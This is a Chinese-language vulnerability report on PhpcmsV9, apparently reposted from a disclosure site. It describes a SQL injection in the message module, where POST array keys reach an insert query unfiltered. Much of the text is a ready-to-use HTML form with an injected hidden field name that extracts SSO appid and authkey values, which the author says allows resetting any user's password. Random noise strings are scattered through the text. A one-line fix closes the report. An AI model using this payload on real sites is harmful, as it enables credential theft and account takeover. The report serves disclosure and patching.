PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：
8 C# U$ x8 u& v6 [! L- X! F" J4 a- e
第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。
8 Y" c5 F/ m+ b6 M( Y! Y
& o1 w5 L, L0 A8 i- p; m4 @明天再更新下一个漏洞。
8 u) B) {. b% q( G详细说明：
在/phpcms9/phpcms/modules/message/index.php中有代码如下：
& u7 q0 I' ?7 h% U8 w
$messageid = $this->message_db->insert($_POST['info'],true);


- e4 j8 F1 E! a0 P- g! J6 ~1 `3 q0 Ginsert方法是key value的，代码如下：

  B- a: A8 ?% ?; ?public function insert($data, $table, $return_insert_id = false, $replace = false) {
8 C- @* M2 }+ R/ E                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
) g$ [, B; w, s4 K$ s4 D" _                }
  w+ H; w/ m8 U' \: S: O               
                $fielddata = array_keys($data);
                $valuedata = array_values($data);
                array_walk($fielddata, array($this, 'add_special_char'));
                array_walk($valuedata, array($this, 'escape_string'));
. D/ E$ U/ k, `7 x& t: B               
2 f" R; O  n& R$ K" G5 Z                $field = implode (',', $fielddata);
                $value = implode (',', $valuedata);

3 ]% F5 `. ~4 u% f3 Q$ T                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
/ K8 I' V' f, v; W                $return = $this->execute($sql);
5 l0 v$ v9 T6 r1 p+ w5 W; h                return $return_insert_id ? $this->insert_id() : $return;
! H- m0 l! R/ B8 D/ t2 y: y# x        }
7 w8 v5 F* J+ p3 \. C; S, B
! k1 g# U4 t. Y& z+ s2 H
1 ]9 l* \# Q# [嗯，很遗憾的是

array_walk($fielddata, array($this, 'add_special_char'));

; ]& y0 F, g& R9 Q
. N7 i" [% J& X, I2 i2 n0 n( a中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。

到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。
; E/ a3 h) ?+ t+ v
漏洞证明：
读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。


表单如下：用户名什么的得自己改一改。
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
5 Q/ H7 F' Q& O/ a8 E<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题：</th>
/ _9 h) B% P* w8 h<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
</tr>
$ \* F. ?, ^! Q: Q  s  G1 r<tr>
<th>内 容：</th>
3 u1 ?8 ]/ J0 u/ t; r. P2 b  @<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
</tr>
<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
  f5 l. \7 B) s& {) X, E<!-- 漏洞的利用重点在这里开始 -->
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
+ B0 J) F$ M6 F( P, ]<!-- 漏洞的利用重点在这里结束 -->
4 X, p( o6 X# f4 {& z% G+ @<tr>
<th>验证码：</th>
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
<tr>
1 b1 H4 ~# ^3 j7 x! f( i<td></td>
  C+ z0 d/ N+ J5 p2 w" v: P<td colspan="2"><label>
4 O5 I1 ]$ Y# S; e6 o2 G0 w7 N8 ~<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
/ U3 ^1 U; \. c1 w</label></td>
' J( Z  H" j/ a+ z+ z) d- G</tr>
</table>
4 S( d% ?9 q! R4 n# h5 k' s* R</form>
+ X$ z0 C6 [6 C* a3 K2 C: C. t在add_special_char函数内对key做过滤就可以了。

' X' ~& T3 S8 G% R7 E! |* T
. R! P7 X0 b1 v$ p* ^
7 V+ K/ i3 {) a8 D